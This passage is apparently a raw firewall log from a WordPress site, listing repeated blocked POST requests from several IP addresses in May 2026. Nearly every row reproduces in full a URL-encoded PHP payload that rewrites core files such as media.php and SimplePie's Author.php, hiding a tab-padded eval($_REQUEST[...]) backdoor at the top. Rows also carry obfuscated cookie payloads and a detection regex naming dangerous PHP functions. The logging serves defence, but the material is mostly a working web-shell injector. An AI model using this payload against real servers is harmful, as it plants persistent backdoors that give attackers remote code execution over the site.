ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2021\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nQH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:54:39","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2044\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/media.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527uEEuCz%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:54:41","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2059\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\ngv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:54:58","121.200.216.56","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ES:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:2059\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nES=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:56:25","92.205.188.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2059\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\n\nqn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:58:06","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Em:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2059\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJ0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nEm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527auHxXO%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%